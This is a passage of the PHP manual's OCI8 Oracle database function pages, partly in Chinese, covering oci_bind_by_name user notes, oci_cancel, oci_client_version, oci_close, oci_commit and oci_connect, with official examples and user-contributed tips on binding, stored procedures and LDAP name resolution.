1) You have to pass a variable, and not just a value

This doesn't work:

$stid = sql($conn, $q, array('bla'=>'blubb'));

This is better:

$vars = array('bla'=>'blubb');
$stid = sql($conn, $q, $vars);

2) Even when passing as reference to your helper function you cannot use e.g. foreach:

This doesn't work:

function sql($conn, $q, $vars) {
  ...
  foreach ($vars as $k => $v) {
    oci_bind_by_name($stid, $k, $v);
  }
  ...
}

Again, because $k and $v are local variables that will have disappeared once you perform an oci_fetch outside the function.

Instead you have to work the array in a more low-level way like this:

function sql($conn, $q, &$vars) {
  ...
  $stid = oci_parse($conn, $q);
  ...
  reset($vars);
  do {
    if (current($vars)===FALSE) { // end of array
      break;
    }
    $b = oci_bind_by_name($stid, key($vars), current($vars));
    if ($b === FALSE) {
      DIE('Could not bind var');
    }
  } while (each($vars) !== FALSE);
}
$binds = array(':bla1' => 'blubb1',
               ':bla2' => 'blubb2');
$stid = sql($conn, $q, $binds);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);

Wherever you oci_bind_by_name(), the pointer to the initial data has to exist from beginning to end.
xorinox at gmx dot ch 23-Sep-2014 02:54
Working with Oracle and raw types in and out worked like the following for me.

<?php
  /*oracle procedure
  procedure open_session(
    i_instance_id in raw,
    o_session_id out raw,
    o_errcode out number,
    o_errmsg out varchar2
  );
  */

  //open database
  $conn = DBOpen( DB_DEV_USER );

  //get session id
  $sql = "begin p_loader.open_session( hextoraw( :instance_id ), :session_id, :errcode, :errmsg ); end;";
  $stmt = oci_parse( $conn, $sql );
  $instanceId = DB_INSTANCE_ID;
  oci_bind_by_name( $stmt, ":instance_id", $instanceId, 1, SQLT_CHR );
  oci_bind_by_name( $stmt, ":session_id", $sessionId, 16, SQLT_BIN );
  oci_bind_by_name( $stmt, ":errcode", $errcode, 12, SQLT_INT );
  oci_bind_by_name( $stmt, ":errmsg", $errmsg, 4000, SQLT_CHR );

  oci_execute( $stmt );
  $sessionId = bin2hex( $sessionId ); //now this is a hex string

  //close database
  DBClose( $conn );
?>
jjeffman at cpovo.net 17-Apr-2014 04:02
It is very important to set up the maxlength of the returning parameter (:r), even when it is returning a number, otherwise the ORA-01460 exception (unimplemented or unreasonable conversion requested) may be raised.
abiyi2000 at yahoo dot com 24-Sep-2011 08:03
I unfortunately spent the whole day trying to make this work as part of OCI bind_by_name insert:

<?php
      if(is_numeric($v2)){
        oci_bind_by_name($stmth, $bvar, $v2,  -1, OCI_B_INT);
      }else{
        $v2 = (string) $v2;
        oci_bind_by_name($stmth, $bvar, $v2, -1, SQLT_CHR);
      }
?>

The string field is always inserting correctly w/o any truncation. The string field is a  varchar2(160) CHAR, but the data used to populate it is 40 chars in length.

The numeric part is of Type Number in the database which is being used to store unix time (10 digit seconds since 1970/01/01.

The problem, the insert was truncating to 9 digits with some bogus value not even related to the input i.e., it's not just a matter of dropping the leftmost or rightmost digit, it'll just insert a 9 digit bogus number.

The only way I was able to resolve this for the numeric field was to set the maxlength to 8 (not 10 which is the number of digits in the input):

<?php
      if(is_numeric($v2)){
        oci_bind_by_name($stmth, $bvar, $v2,  8, OCI_B_INT);
      }else{
        $v2 = (string) $v2;
        oci_bind_by_name($stmth, $bvar, $v2, -1, SQLT_CHR);
      }
?>

Hopefully you'll see this soon before you expend a lot of time repeating the same problem I had.
adrian dot crossley at hesa dot ac dot uk 20-Jul-2009 06:14
Sometimes you get the error "ORA-01461: can bind a LONG value only for insert into a LONG column".  This error is highly misleading especially when you have no LONG columns or LONG values.

From my testing it seems this error can be caused when the value of a bound variable exceeds the length allocated.

To avoid this error make sure you specify lengths when binding varchars e.g.
<?php
oci_bind_by_name($stmt,':string',$string, 256);
?>

And for numerics use the default length (-1) but tell oracle its an integer e.g.
<?php
oci_bind_by_name($stmt,':num',$num, -1, SQLT_INT);
?>
avenger at php dot net 20-Feb-2009 03:54
Dont forget the 5th parameter: $type. It's will slowly your code some times. Eg:

<?php
$sql = "select * from (select * from b xxx) where rownum < :rnum";
$stmt = OCIParse($conn,$sql);
OCIBindByName($stmt, ":rnum", $NUM, -1);
OCIExecute($stmt);
?>

Below code was slow 5~6 time than not use bind value.Change the 3rd line to:

<?php
OCIBindByName($stmt, ":rnum", $NUM, -1, SQLT_INT);
?>

will resloved this problem.

This issue is also in the ADODB DB class(adodb.sf.net), you will be careful for use the SelectLimit method.
ajitsingh4u at gmail dot com 09-May-2008 09:39
//Calling Oracle Stored Procedure
//I assume that you have a users table and three columns in users table i.e. id, user, email in oracle
// For example I made connection in constructor, you can modify as per your requirement.
//http://www.devshed.com/c/a/PHP/Understanding-Destructors-in-PHP-5/1/
<?php
class Users{
    private $connection;

    public function __construct()
    {
        $this->connection = oci_connect("scott", "tiger", $db); // Establishes a connection to the Oracle server;
    }

    public function selectUsers($start_index=1, $numbers_of_rows=20)
    {
        $sql ="BEGIN sp_users_select(:p_start_index, :p_numbers_of_rows, :p_cursor, :p_result); END;";
        $stmt = oci_parse($this->connection, $sql);

        //Bind in parameter
        oci_bind_by_name($stmt, ':p_start_index', $start_index, 20);
        oci_bind_by_name($stmt, ':p_numbers_of_rows', $numbers_of_rows, 20);

        //Bind out parameter
        oci_bind_by_name($stmt, ':p_result', $result, 20); // returns 0 if stored procedure succeessfully executed.

        //Bind Cursor
        $p_cursor = oci_new_cursor($this->connection);
        oci_bind_by_name($stmt, ':p_cursor', $p_cursor, -1, OCI_B_CURSOR);

        // Execute Statement
        oci_execute($stmt);
        oci_execute($p_cursor, OCI_DEFAULT);

        oci_fetch_all($p_cursor, $cursor, null, null, OCI_FETCHSTATEMENT_BY_ROW);

        echo $result;
        echo '<br>';
        var_dump($cursor); // $cursor is an associative array so we can use print_r() to print this data.
        // you can return data from this function to use it at your user interface.
    }

    public function deleteUser($id)
    {
        $sql ="BEGIN sp_user_delete(:p_id, :p_result); END;";
        $stmt = oci_parse($this->connection, $sql);

        // bind in and out variables
        oci_bind_by_name($stmt, ':p_id', $id, 20);
        oci_bind_by_name($stmt, ':p_result', $result, 20);

        //Execute the statement
        $check = oci_execute($stmt);

        if($check == true)
        $commit = oci_commit($this->connection);
        else
        $commit = oci_rollback($this->connection);

        return $result;
    }

    // You can make function for insert ,update using above two functions

}
?>
08-May-2007 01:59
This is what the old OCI_B_* constants are now called:
(PHP 5.1.6 win32)

OCI_B_NTY - SQLT_NTY
OCI_B_BFILE - SQLT_BFILEE
OCI_B_CFILEE - SQLT_CFILEE
OCI_B_CLOB - SQLT_CLOB
OCI_B_BLOB - SQLT_BLOB
OCI_B_ROWID - SQLT_RDD
OCI_B_CURSOR - SQLT_RSET
OCI_B_BIN - SQLT_BIN
OCI_B_INT - SQLT_INT
OCI_B_NUM - SQLT_NUM
Chris Delcamp 11-Jan-2007 08:48
This is an example of returning the primary key from an insert so that you can do inserts on other tables with foreign keys based on that value.  The date is just used to provied semi-unique data to be inserted.

$conn = oci_connect("username", "password")
$stmt = oci_parse($conn, "INSERT INTO test (test_msg) values (:data) RETURN test_id INTO :RV");
$data = date("d-M-Y H:i:s");
oci_bind_by_name($stmt, ":RV", $rv, -1, SQLT_INT);
oci_bind_by_name($stmt, ":data", $data, 24);
oci_execute($stmt);
print $rv;
hfuecks at nospam dot org 16-Aug-2005 01:12
Note that there have been some changes on the constant identifiers and the documentation is currently not entirely accurate.

Running the following script;

<?php
foreach (array_keys(get_defined_constants()) as $const) {
    if ( preg_match('/^OCI_B_/', $const) ) {
        print "$const\n";
    }
}
?>

Under PHP 4.4.0 I get;

OCI_B_SQLT_NTY < renamed to OCI_B_NTY with PHP5
OCI_B_BFILE
OCI_B_CFILEE
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN

Under PHP 5.0.4 I get;

OCI_B_NTY
OCI_B_BFILE < docs are wrong right now
OCI_B_CFILEE < docs are wrong right now
OCI_B_CLOB
OCI_B_BLOB
OCI_B_ROWID
OCI_B_CURSOR
OCI_B_BIN < it's a mystery


中断游标读取数据

  • ? oci_bind_by_name
  • oci_client_version ?
  • PHP Manual
  • OCI8 函数
  • 中断游标读取数据

oci_cancel

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_cancel — 中断游标读取数据

说明

oci_cancel(resource $statement): bool

oci_cancel() 使一个游标无效，释放所有与之关联的资源并取消了从中读取的能力。

参数

statement

OCI 语句。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Returns the Oracle client library version

  • ? oci_cancel
  • oci_close ?
  • PHP Manual
  • OCI8 函数
  • Returns the Oracle client library version

oci_client_version

(PHP 5 >= 5.3.7, PHP 7, PHP 8, PECL OCI8 >= 1.4.6)

oci_client_version — Returns the Oracle client library version

说明

oci_client_version(): string

Returns a string containing the version number of the Oracle C client library that PHP is linked with.

参数

None

返回值

Returns the version number as a string.

示例

Example #1 oci_client_version() example

<?php
echo "Client Version: " . oci_client_version(); // Client version: 19.9.0.0.0
?>

注释

Note:

Oracle libraries before 10gR2 do not have the underlying functionality to get the client library version number. The string "Unknown" will be returned in this case.

参见

  • oci_server_version() - 返回 Oracle 数据库版本

User Contributed Notes

There are no user contributed notes for this page.


关闭 Oracle 连接

  • ? oci_client_version
  • oci_commit ?
  • PHP Manual
  • OCI8 函数
  • 关闭 Oracle 连接

oci_close

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_close — 关闭 Oracle 连接

说明

oci_close(resource $connection): ?bool

取消 connection。如果没有其他资源正在使用底层数据库连接并且它是使用 oci_connect() 或 oci_new_connect() 创建的，则关闭底层数据库连接。

建议关闭不再需要的连接，因为这可以让其他用户使用数据库资源。

参数

connection

oci_connect()、oci_pconnect() 或 oci_new_connect() 返回的 Oracle 连接标识符。

返回值

启用 oci8.old_oci_close_semantics 时返回 null，否则返回 true。

示例

Example #1 关闭连接

应关闭与连接关联的资源，以确保正确终止底层数据库连接并释放数据库资源。

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM departments');
$r = oci_execute($stid);
oci_fetch_all($stid, $res);
var_dump($res);

// Free the statement identifier when closing the connection
oci_free_statement($stid);
oci_close($conn);

?>

Example #2 在关闭所有引用之前不会关闭数据库连接

在关闭与数据库的底层连接之前，连接标识符的内部引用数必须为零。

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM departments'); // this increases the refcount on $conn
oci_execute($stid);
oci_fetch_all($stid, $res);
var_dump($res);

oci_close($conn);

// $conn is no longer usable in the script but the underlying database
// connection is still held open until $stid is freed.
var_dump($conn); // prints NULL

// While PHP sleeps, querying the Oracle V$SESSION view in a
// terminal window will show that the database user is still connected.
sleep(10);

// When $stid is freed, the database connection is physically closed
oci_free_statement($stid);

// While PHP sleeps, querying the Oracle V$SESSION view in a
// terminal window will show that the database user has disconnected.
sleep(10);

?>

Example #3 关闭多次打开的连接

当重新使用数据库凭据时，必须在关闭底层数据库连接之前关闭两个连接。

<?php

$conn1 = oci_connect('hr', 'welcome', 'localhost/XE');

// Using the same credentials reuses the same underlying database connection
// Any uncommitted changes done on $conn1 will be visible in $conn2
$conn2 = oci_connect('hr', 'welcome', 'localhost/XE');

// While PHP sleeps, querying the Oracle V$SESSION view in a
// terminal window will show that only one database user is connected.
sleep(10);

oci_close($conn1); // doesn't close the underlying database connection
var_dump($conn1); // prints NULL because the variable $conn1 is no longer usable
var_dump($conn2); // displays that $conn2 is still a valid connection resource

?>

Example #4 当变量超出作用域时关闭连接

当 PHP 释放了所有超出作用域的引用连接的变量时，将发生回滚（如果需要）并关闭与数据库的底层连接。

<?php

function myfunc() {
$conn = oci_connect('hr', 'hrpwd', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'UPDATE mytab SET id = 100');
oci_execute($stid, OCI_NO_AUTO_COMMIT);
return "Finished";
}

$r = myfunc();
// At this point a rollback occurred and the underlying database connection was released.

print $r; // displays the function return value "Finished"

?>

注释

Note:

依赖于连接标识符的变量，例如 oci_parse() 返回的语句标识符，也必须在底层数据库连接关闭之前释放。

Note:

oci_close() 函数不会关闭使用 oci_pconnect() 创建的底层数据库连接。

参见

  • oci_connect() - 建立一个到 Oracle 服务器的连接
  • oci_free_statement() - 释放关联于语句或游标的所有资源

User Contributed Notes

Fahd Alwashmi (F-A-W) 10-Mar-2012 08:22
please note, you can use oci_close() to close persistent connections opened with oci_pconnect() in PHP ver 5.3 or above.
as stated in here:
http://www.php.net/manual/en/oci8.configuration.php#ini.oci8.persistent-timeout
yepster at hotmail dot com 16-Feb-2002 10:21
For using persistent connections && being able to sleep, I use:

function close_db_locks_on_abort( ) {
    global $conn;
    if( connection_aborted() ) {
        $fp = fopen( "/tmp/shutdown-func.txt", "a" );
        fwrite( $fp, sprintf( "connection aborted on %s\n", date( "d-m-Y H:i:s" ) ) );
        if( $conn ) {
            OCIRollBack( $conn );
            fwrite( $fp, sprintf( "-- DURING CONNECTION! ip=%s, user=%s, page=%s\n", $_SERVER["REMOTE_ADDR"], $_SERVER["PHP_AUTH_USER"], $_SERVER["SCRIPT_FILENAME"] ) );
        }
        fclose( $fp );
    }
}

register_shutdown_function ( "close_db_locks_on_abort" );

This makes sure a rollback is done on a connection when a user hits 'stop', so there will be no locks on table rows.


提交未完成的数据库事务

  • ? oci_close
  • oci_connect ?
  • PHP Manual
  • OCI8 函数
  • 提交未完成的数据库事务

oci_commit

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_commit — 提交未完成的数据库事务

说明

oci_commit(resource $connection): bool

为 Oracle connection 提交未完成的事务。提交结束当前事务并使所有更改永久化。释放所有持有的锁。

当使用 OCI_NO_AUTO_COMMIT flag 通过 oci_execute() 执行第一个更改数据的 SQL 语句时，事务开始。其他语句所做的进一步数据更改成为同一事务的一部分。在事务提交或回滚之前，事务中所做的数据更改是临时的。在提交之前，数据库的其他用户将看不到更改。

插入或更新数据时，出于关系数据一致性和性能原因，建议使用事务。

参数

connection

oci_connect()、oci_pconnect() 或 oci_new_connect() 返回的 Oracle 连接标识符。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 oci_commit() 示例

<?php

// Insert into several tables, rolling back the changes if an error occurs

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, "INSERT INTO mysalary (id, name) VALUES (1, 'Chris')");

// The OCI_NO_AUTO_COMMIT flag tells Oracle not to commit the INSERT immediately
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
$e = oci_error($stid);
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO myschedule (startday) VALUES (12)');
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
$e = oci_error($stid);
oci_rollback($conn); // rollback changes to both tables
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

// Commit the changes to both tables
$r = oci_commit($conn);
if (!$r) {
$e = oci_error($conn);
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

?>

注释

Note:

当关闭连接或脚本结束时（看哪个先）事务会自动回滚。需要明确地调用 oci_commit() 来提交事务。

Any call to oci_execute() that uses OCI_COMMIT_ON_SUCCESS mode explicitly or by default will commit any previous uncommitted transaction.

任何 Oracle DDL 语句（例如 CREATE 或 DROP）都会自动提交任何未提交的事务。

参见

  • oci_execute() - 执行语句
  • oci_rollback() - 回滚未完成的事务

User Contributed Notes

There are no user contributed notes for this page.


建立一个到 Oracle 服务器的连接

  • ? oci_commit
  • oci_define_by_name ?
  • PHP Manual
  • OCI8 函数
  • 建立一个到 Oracle 服务器的连接

oci_connect

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_connect — 建立一个到 Oracle 服务器的连接

说明

oci_connect(
string $username,
string $password,
?string $connection_string = null,
string $encoding = "",
int $session_mode = OCI_DEFAULT
): resource|false

返回大多数其他 OCI8 操作所需的连接标识符。

为了提高性能，大多数应用程序应该使用 oci_pconnect() 的持久连接而不是 oci_connect()。有关连接管理和连接池的基本信息，请参阅连接处理。

使用相同参数对 oci_connect() 的第二次和后续调用将返回从第一次调用返回的连接句柄。这意味着一个句柄中的事务也在其他句柄中，因为它们使用相同的底层数据库连接。如果两个句柄需要在事务上相互隔离，请改用 oci_new_connect()。

参数

username

Oracle 用户名。

password

username 的密码。

connection_string

包含要连接的 Oracle 实例。可以是 » Easy Connect 串，或是 tnsnames.ora 文件中的连接名，或是本地 Oracle 实例名。

如果不指定或者为 null，PHP 使用环境变量来确定连接的 Oracle 实例，诸如 TWO_TASK（Linux 下）或 LOCAL（Windows 下）与 ORACLE_SID 等。

要使用 Easy Connect 命名方法，PHP 必须与 Oracle 10g 或更高版本的客户端库进行链接。Oracle 10g 的 Easy Connect 串格式：[//]host_name[:port][/service_name]。Oracle 11g 则为：[//]host_name[:port][/service_name][:server_type][/instance_name]。 在 Oracle 19c 加入类更多选项，例如 timeout 和 keep-alive 设置。 请参考 Oracle 文档。 服务名可在数据库服务器机器上运行 Oracle 实用程序 lsnrctl status 找到。

tnsnames.ora 文件可在 Oracle Net 查找路径中，此路径包括 /your/path/to/instantclient/network/admin、$ORACLE_HOME/network/admin 、/etc。 另一种方法是设置 TNS_ADMIN 以便通过 $TNS_ADMIN/tnsnames.ora 来读取。表确认 web 守护进程可读取此文件。

encoding

使用 Oracle 客户端库来确定字符集。字符集不需要与数据库的字符集相匹配。如果不匹配，Oracle 会尽可能地将数据从数据库字符集进行转换。因为依赖于字符集，可能不能给出可用的结果。转换也增加一些时间开销。

如果不指定，Oracle 客户端用 NLS_LANG 环境变量来决定字符集。

传递此参数可减少连接时间。

session_mode

此参数在 PHP 5（PECL OCI8 1.1）版本开始可用，并收受下列值：OCI_DEFAULT，OCI_SYSOPER 和 OCI_SYSDBA。如为 OCI_SYSOPER 或 OCI_SYSDBA 其中之一，此函数将会使用外部的证书建立有特权的连接。有特权的连接默认是禁用的。需要将 oci8.privileged_connect 设为 On 来启用。

PHP 5.3（PECL OCI8 1.3.4）引进了 OCI_CRED_EXT 模式值。使用外部或操作系统认证必需在 Oracle 数据库中进行配置。OCI_CRED_EXT 标志只可用于用户为 "/"，密码为空的情况。oci8.privileged_connect 可为 On 或 Off。

OCI_CRED_EXT 可与 OCI_SYSOPER 或 OCI_SYSDBA 模式组合使用。

OCI_CRED_EXT 由于安全的原因不支持 Windows 系统。

返回值

返回连接标识符或出错时为 false。

更新日志

版本 | 说明
8.0.0、PECL OCI8 3.0.0 | connection_string 现在可为 null。

示例

Example #1 使用 Easy Connect 语法的基础 oci_connect()

<?php

// Connects to the XE service (i.e. database) on the "localhost" machine
$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

Example #2 使用 Network Connect 名称的基础 oci_connect()

<?php

// Connects to the MYDB database described in tnsnames.ora file,
// One example tnsnames.ora entry for MYDB could be:
// MYDB =
// (DESCRIPTION =
// (ADDRESS = (PROTOCOL = TCP)(HOST = mymachine.oracle.com)(PORT = 1521))
// (CONNECT_DATA =
// (SERVER = DEDICATED)
// (SERVICE_NAME = XE)
// )
// )

$conn = oci_connect('hr', 'welcome', 'MYDB');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

Example #3 带有显式字符集的 oci_connect()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE', 'AL32UTF8');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

Example #4 多次调用 oci_connect()

<?php

$c1 = oci_connect("hr", "welcome", 'localhost/XE');
$c2 = oci_connect("hr", "welcome", 'localhost/XE');

// Both $c1 and $c2 show the same PHP resource id meaning they use the
// same underlying database connection
echo "c1 is $c1<br>\n";
echo "c2 is $c2<br>\n";

function create_table($conn)
{
$stmt = oci_parse($conn, "create table hallo (test varchar2(64))");
oci_execute($stmt);
echo "Created table<br>\n";
}

function drop_table($conn)
{
$stmt = oci_parse($conn, "drop table hallo");
oci_execute($stmt);
echo "Dropped table<br>\n";
}

function insert_data($connname, $conn)
{
$stmt = oci_parse($conn, "insert into hallo
values(to_char(sysdate,'DD-MON-YY HH24:MI:SS'))");
oci_execute($stmt, OCI_DEFAULT);
echo "$connname inserted row without committing<br>\n";
}

function rollback($connname, $conn)
{
oci_rollback($conn);
echo "$connname rollback<br>\n";
}

function select_data($connname, $conn)
{
$stmt = oci_parse($conn, "select * from hallo");
oci_execute($stmt, OCI_DEFAULT);
echo "$connname ----selecting<br>\n";
while (oci_fetch($stmt)) {
echo " " . oci_result($stmt, "TEST") . "<br>\n";
}
echo "$connname ----done<br>\n";
}

create_table($c1);

insert_data('c1', $c1); // Insert a row using c1
sleep(2); // sleep to show a different timestamp for the 2nd row
insert_data('c2', $c2); // Insert a row using c2

select_data('c1', $c1); // Results of both inserts are returned
select_data('c2', $c2); // Results of both inserts are returned

rollback('c1', $c1); // Rollback using c1

select_data('c1', $c1); // Both inserts have been rolled back
select_data('c2', $c2);

drop_table($c1);

// Closing one of the connections makes the PHP variable unusable, but
// the other could be used
oci_close($c1);
echo "c1 is $c1<br>\n";
echo "c2 is $c2<br>\n";

// Output is:
// c1 is Resource id #5
// c2 is Resource id #5
// Created table
// c1 inserted row without committing
// c2 inserted row without committing
// c1 ----selecting
// 09-DEC-09 12:14:43
// 09-DEC-09 12:14:45
// c1 ----done
// c2 ----selecting
// 09-DEC-09 12:14:43
// 09-DEC-09 12:14:45
// c2 ----done
// c1 rollback
// c1 ----selecting
// c1 ----done
// c2 ----selecting
// c2 ----done
// Dropped table
// c1 is
// c2 is Resource id #5

?>

注释

Note:

错误安装或配置的 OCI8 扩展通常会表现为连接问题或错误。有关故障排除信息，请参阅安装/配置。

参见

  • oci_pconnect() - 使用持久连接连，连接到 Oracle 数据库
  • oci_new_connect() - 使用唯一连接，连接到 Oracle 服务器
  • oci_close() - 关闭 Oracle 连接

User Contributed Notes

blake dot lewis at gmail dot com 08-Mar-2013 03:10
Using ldap for Oracle name resolution:

  The web server will need the environmental variable TNS_ADMIN='Directory of tnsname.ora' unless the default location is used. I use '/etc/tns_admin'. Confirm using the phpinfo().

  There are three files needed in the TNS_ADMIN location: tnsnames.ora, sqlnet.ora and ldap.ora. If you are only using ldap, tnsnames.ora is not needed.

  To sqlnet.ora add:
     NAMES.DIRECTORY_PATH=(TNSNAMES,LDAP)

  To ldap.ora add:
     DIRECTORY_SERVERS=(ldap_server_fqdn:port)
     DEFAULT_ADMIN_CONTEXT=""
     DIRECTORY_SERVER_TYPE=OID

  For a quick and dirty ldap tnsnames server use tnsManager by Dave Berry. Oracle OID or Openldap can used, but are complicated to setup. tnsManager is a no brainer. The quick part: give it a tnsnames.ora file and start it up. The dirty parts: I can't get Toad and SQLDeveloper to work with it, it ignores the domain and it is no longer being maintained.

  The order of values in NAMES.DIRECTORY_PATH in sqlnet.ora determines which look up 'adapter' is used, in this case it is tnsnames.ora file and then ldap. I use ldap for general consumption and tnsnames.ora file to override ldap or entries that are not for general consumption.

  If you have the full Oracle client you have tnsping. 'tnsping ORACLE_SID' will tell you what adapter you are using: 'Used LDAP adapter to resolve the alias'.

<?php
  echo system("/PATH/tnsping ".$ORACLE_SID." 2>&1")."<br />";
  echo 'TNS_ADMIN='.getenv('TNS_ADMIN');
?>

ISSUE:
  If connecting with only ORACLE_SID and not ORACLE_SID.DB_DOMAIN, the value of NAMES.DEFAULT_DOMAIN from sqlnet.ora is appended, then for some reason PHP tries the HOSTNAME adapter, and if the database name resolves in DNS, it will fail connecting using the database name as the hostname, because neither SID nor SERVICE_NAME are defined.
  If using tnsManager append '.ANY_DOMAIN' to $ORACLE_SID to hack around the issue above.

  I have tested with:
       11.1.0.7 full client and PHP 5.1.6
       11.2.0.2 full client and PHP 5.4.11

  I have heard that LDAP lookup does not work with older instantclients.
blake dot lewis at gmail dot com 15-Feb-2013 11:38
Using ldap for Oracle name resolution:

  The web server needs the environmental variable TNS_ADMIN='Directory of tnsname.ora'. I use '/etc/tns_admin'. Confirm using the phpinfo() function.

  There are three files needed in the TNS_ADMIN location: tnsnames.ora, sqlnet.ora and ldap.ora. If you are only using ldap, tnsnames.ora is not needed.

  To sqlnet.ora add:
     NAMES.DIRECTORY_PATH=(TNSNAMES,LDAP)

  To ldap.ora add:
     DIRECTORY_SERVERS=(ldap_fqdn_hostname:1575)
     DEFAULT_ADMIN_CONTEXT=""
     DIRECTORY_SERVER_TYPE=OID

  For a quick and dirty ldap tnsnames server use tnsManager by Dave Berry. Oracle OID or Openldap can used, but are complicated to setup. tnsManager is a no brainer. The default port is 1575.

  The order of values in NAMES.DIRECTORY_PATH from sqlnet.ora determines which look up 'adapter' is used first, in this case it is tnsnames.ora file and then ldap. I use ldap for general consumption and tnsnames.ora file to override ldap or entries that are not for general consumption.

  If you have the full Oracle client you have tnsping. 'tnsping ORACLE_SID' will tell you what adapter you are using: 'Used LDAP adapter to resolve the alias'.

<?php
  echo system("/PATH/tnsping ".$ORACLE_SID." 2>&1")."<br />";
  echo 'TNS_ADMIN='.getenv('TNS_ADMIN');
?>

ISSUE:
  For some reason PHP tries the HOSTNAME adapter first, and if the database name resolves in DNS, it will try connecting using the database name as the hostname with no SID or SERVICE_NAME defined. All other Oracle clients I have used will not try the HOSTNAME adapter unless it is listed in NAMES.DIRECTORY_PATH.
  I have heard that LDAP look up does not work with older instantclients.
Anonymous 10-Feb-2012 06:33
How to connect from PHP to an Oracle database using OID (Oracle Internet Directory):

OID is like a lookup index that contains connection strings for connecting to various databases. Without OID, a database connection string would be stored directly in the code settings and used by the PHP code to connect to a database. With OID, a lookup can be made to the OID LDAP to acquire the database connection string. Then the PHP code will use the acquired database connection string to connect to the database as before.

OID allows a DBA to manage/change which database server that an application uses without having to change any database settings in the PHP application itself or on the application server.

Here are the basic steps for PHP to connect to a database via OID:

- The DBA should provide you the connection information for the OID LDAP as well as the username/password for the database connection.
- Connect to the OID LDAP using the provided information
- Search for the appropriate LDAP record
- Get the connection string data from the record attribute, \&quot;orclnetdescstring\&quot;
- Close the LDAP connection
- Use the acquired connection string data to connect to the database as usual using the provided database username/password.

Here is basic sample code to do this:

// Get connection string from OID LDAP

    $ds=ldap_connect($servername,$serverport); // Connect to ldap
    $r=ldap_bind($ds); // Bind to ldap
    $sr = ldap_search($ds, \&quot;cn=OracleContext,dc=___,dc=___,dc=___\&quot;, \&quot;cn=$sid\&quot;); // Run query
    $info = ldap_get_entries($ds, $sr); // Get entries
    ldap_close($ds); // Close connection

    $dbconnectstring = $info[0][\&quot;orclnetdescstring\&quot;][0]; // Extract db connect string from ldap search result array

// Connect to database using acquired connection string from OID

    $dbconnection = oci_connect ($username,$password,$dbconnectstring);
peter at goldthorp dot com 07-Aug-2011 03:28
I started getting "ORA-12514: TNS:listener does not currently know of service requested in connect descriptor" errors when I upgraded my database instance from 10.2 to 11.2.  For some reason it would not resolve the oci_connect calls with the Easy Connect syntax (easy connect calls from sqlplus were fine).  I was able to workaround the issue by passing a tns connect string:

<?php
$db = "(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.XX.XXX)(PORT = 1521)))(CONNECT_DATA=(SID=XXXX)))";

$c1 = oci_connect("name","password",$db);
?>
jtacon at php dot net 07-Feb-2011 05:24
If you upgrades the OCI8, be sure to use the latest oracle instantclient version, otherwise you can receive an "ORA-24315: illegal attribute type" when trying to connect due to incompatibility with some versions.

HTH,
Javier Tacón
Jonathon Robinson 15-Jun-2010 11:12
Regarding the following statement in the documentation:
"The second and subsequent calls to oci_connect() with the same parameters will return the connection handle returned from the first call."

There's one caveat here.  Subsequent calls to oci_connect() will only return the same connection handle as the first call as long as a reference is held to the original handle.

For example, the following code will generate *one* connection handle:

<?php
$dbh = oci_connect($username, $password, $conn_info);
// Do stuff
$dbh = oci_connect$username, $password, $conn_info);
// Do more stuff

The follow code will generate *two* connection handles:
getData();
// Do stuff
getData();
// Do more stuff

getData() {
    $dbh = oci_connect($username, $password, $conn_info);
    // Do stuff
}
?>

